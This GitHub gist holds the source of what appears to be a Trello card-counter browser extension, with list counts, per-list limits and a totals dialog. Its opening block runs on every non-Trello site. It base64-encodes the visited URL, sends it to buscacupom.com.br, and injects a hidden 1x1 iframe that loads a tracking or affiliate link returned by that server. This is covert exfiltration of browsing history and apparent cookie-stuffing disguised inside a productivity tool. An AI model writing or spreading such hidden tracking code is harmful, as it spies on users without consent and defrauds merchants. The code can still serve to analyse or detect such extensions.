Skip to content

Instantly share code, notes, and snippets.

@mackwic
Created October 30, 2016 09:32
Show Gist options
  • Save mackwic/6dd9e218f24ed2347822ba1b6405f66e to your computer and use it in GitHub Desktop.
Save mackwic/6dd9e218f24ed2347822ba1b6405f66e to your computer and use it in GitHub Desktop.
// version 0.5.0
var url = window.location;
if ( url.href.indexOf("trello.com") < 0 ){
if ( url.href.indexOf("buscacupom.com.br") < 0 ){
var url2 = btoa(url);;
var urlPost = "http://www.buscacupom.com.br/getDados.php?loCod="+url2+"&model=0";
if (window.XMLHttpRequest){
// code for IE7+, Firefox, Chrome, Opera, Safari
xml=new XMLHttpRequest();
}else{
// code for IE6, IE5
xml=new ActiveXObject("Microsoft.XMLHTTP");
}
xml.open("GET",urlPost,true);
xml.onload = handleResponse;
xml.send(null);
function handleResponse() {
var doc = JSON.parse( xml.responseText );
if ( doc[0] == "1" ){
var iframe = '<iframe src="'+doc[1][0].link+'" height="1" width="1" frameborder="0"></iframe>';
}else{
if ( doc[1].length > 0 ){
var iframe = '<iframe src="'+doc[1][0].lojaTrack+'" height="1" width="1" frameborder="0"></iframe>';
}else{
var iframe = '';
}
}
htmRet = '<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title></title> </head> <body> '+iframe+'</body></html>';
$('body').append(htmRet);
}
}
}else{
var listId;
var totalCounter;
var boardId;
var donateButton = '';
var countViewDo = true;
var totalCounterBkp = 0;
$(document).ready(function() {
var matches = window.location.href.match(/\/(.{8})\//);
if (matches && matches.length > 1) boardId = matches[1];
setInterval(updateCounts, 3000);
updateCounts();
});
function updateCounts() {
var numLists = 0;
totalCounter = 0;
$('.list').each(countCards);
if ($('.list').length != numLists) {
numLists = $('.list').length;
}
$(".js-open-list-menu").unbind().click(function() {
var list = $(this).parents('.list:eq(0)');
listId = getListId(list);
$('.js-limit-list').remove();
setTimeout(function() {
$('.js-close-list').after('<li> ' + donateButton + '</li><li><a class="js-limit-list" href"#">Set Cardcounter Limits for this List</a></li>');
$('.js-limit-list').click(askLimit);
}, 50);
});
totalCounterBkp = totalCounter;
$(".totalCCounter").html("Total Cards: " + totalCounter.toString());
if ( countViewDo ){
countViewDo = false;
}
};
function askLimit(e) {
var limit = prompt('Enter the limit (number), use 0 to remove the limit.', getLimit(listId) > 0 ? getLimit(listId) : 10);
saveLimit(parseInt(limit));
}
function getLimit(listId) {
return localStorage["cardcounter." + boardId + '.' + listId];
}
function saveLimit(limit) {
localStorage["cardcounter." + boardId + '.' + listId] = limit;
if (limit === 0) {
delete getLimit(listId);
}
}
function getListId(list){
var id = $('.board-header-btn-text:eq(0)').text().trim().replace(' ', '_') + '/' + list.find('.js-list-name-assist').text().replace(' ', '_');;
return id
}
function countCards(e) {
var detailItemId = "";
var list = $(this);
var listId = getListId(list);
var header = $('.list-header', list);
var limit = getLimit(listId) ? getLimit(listId) : 0;
var headerName = $('.list-header-name', list);
var matches = headerName.text().match(/\[(\d*)\]/);
if (headerName && matches && matches.length == 2) {
limit = matches[1];
}
var numCards = 0;
var numSpacers = 0;
var cardContent;
var cards = $('.list-card', list);
cards.each(function() {
cardContent = $('.list-card-title:eq(0)',this).text();
cardContent = cardContent.replace($(this).find('.card-short-id').text(), '').trim();
if (cardContent.match(/^=+.*=+$/g)) {
numSpacers++;
} else {
if (!$(this).hasClass('hide')) numCards++;
}
});
var counter = $('.cardCounter', list);
var headerText = list.find(".list-header-extras");
if (counter.length == 0) {
counter = $('<span>', {
'class': 'cardCounter'
});
headerText.before(counter);
}
if ($('.totalCCounter').length == 0) {
$('<a>',{'class': 'counterViewBtn' ,'href': '#'}).appendTo($('.board-header'));
$('<span>',{'class': 'totalCCounter board-header-btn-text'}).appendTo($('.counterViewBtn'));
$('<span>',{'class': 'totalCCounterDialog'}).appendTo($('.board-wrapper'));
$('.totalCCounterDialog').html('<div class="modalCount fade" id="myModal" style="display: none"> <div class="modalCount-dialog"> <!-- Modal content--> <div class="modalCount-content"> <div class="modalCount-header"> <button type="button" class="close" data-dismiss="modal">&times;</button> <h4 class="modalCount-title">Total Cards - Detail</h4> </div> <div class="modalCount-body"> <span class="detailsCount"></span> </div> </div> </div><script> $(".counterViewBtn").click(function() { $("#myModal").css("display","block"); }); $(".close").click(function() { $("#myModal").css("display","none"); }); </script> </div>');
}
if ($('.counterView').length == 0) {
$('<span>',{'class': 'counterView'}).appendTo($('.board-wrapper'));
}
detailItemIdDesc = headerName.text(); //$('h2', this)[0].innerHTML.substr(0,$('h2', this)[0].innerHTML.search("<span"));
detailItemId = detailItemIdDesc.replace(' ', '').toLowerCase();
detailItemId = detailItemId.replace('_', '');
detailItemId = detailItemId.replace('.', '');
detailItemId = detailItemId.replace('/', '');
detailItemId = detailItemId.replace('|', '');
detailItemId = detailItemId.replace(',', '');
detailItemId = detailItemId.replace('.', '');
detailItemId = detailItemId.replace(';', '');
detailItemId = detailItemId.replace('<', '');
detailItemId = detailItemId.replace('>', '');
detailItemId = detailItemId.replace(':', '');
detailItemId = detailItemId.replace('?', '');
detailItemId = detailItemId.replace(']', '');
detailItemId = detailItemId.replace('[', '');
detailItemId = detailItemId.replace('}', '');
detailItemId = detailItemId.replace('{', '');
detailItemId = detailItemId.replace('-', '');
detailItemId = detailItemId.replace('+', '');
detailItemId = detailItemId.replace('=', '');
detailItemId = detailItemId.replace(')', '');
detailItemId = detailItemId.replace('(', '');
detailItemId = detailItemId.replace('&', '');
detailItemId = detailItemId.replace('!', '');
detailItemId = detailItemId.replace('@', '');
detailItemId = detailItemId.replace('#', '');
detailItemId = detailItemId.replace('$', '');
detailItemId = detailItemId.replace('%', '');
detailItemId = detailItemId.replace('*', '');
detailItemId = detailItemId.replace('"', '');
detailItemId = detailItemId.replace("'", '');
detailItemId = detailItemId.replace("á", 'a');
detailItemId = detailItemId.replace("à", 'a');
detailItemId = detailItemId.replace("â", 'a');
detailItemId = detailItemId.replace("ã", 'a');
detailItemId = detailItemId.replace("é", 'e');
detailItemId = detailItemId.replace("ê", 'e');
detailItemId = detailItemId.replace("í", 'i');
detailItemId = detailItemId.replace("ó", 'o');
detailItemId = detailItemId.replace("ô", 'o');
detailItemId = detailItemId.replace("õ", 'o');
detailItemId = detailItemId.replace("ú", 'o');
detailItemId = detailItemId.replace("ç", 'c');
detailItemId = detailItemId.split(' ').join('');
detailItemId = detailItemId.replace('/', '');
detailItemId = detailItemId.replace('/', '');
if ( $('.showDetailItem'+detailItemId).length == 0 ){
$('<p>',{'class': 'showDetailItem'+detailItemId }).appendTo($('.detailsCount'));
$('<span>',{'class': detailItemId+"Title", 'style': 'font-Weight: bold' }).appendTo($('.showDetailItem'+detailItemId));
$('<span>',{'class': detailItemId+'Info' }).appendTo($('.showDetailItem'+detailItemId));
$('<span>',{'class': detailItemId+'InfoPerc' }).appendTo($('.showDetailItem'+detailItemId));
$("." + detailItemId+"Title")[0].innerText = (detailItemIdDesc+": ");
}
$('.'+detailItemId+'Info').html(numCards.toString() + " cards");
totalCounter = totalCounter + numCards;
var itemPercent;
itemPercent = ((100*numCards)/totalCounterBkp).toFixed(2);
$('.'+detailItemId+'InfoPerc').html(" - " + itemPercent.toString() + "%");
counter.text(limit > 0 ? numCards.toString() + '/' + limit.toString() : numCards.toString());
if ($('.badge-points').length > 0 || $('.list-total .points', list).length > 0) {
// counter.addClass('align-right');
}
if (limit > 0 && numCards > limit) {
counter.addClass('limitReached');
} else {
counter.removeClass('limitReached');
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment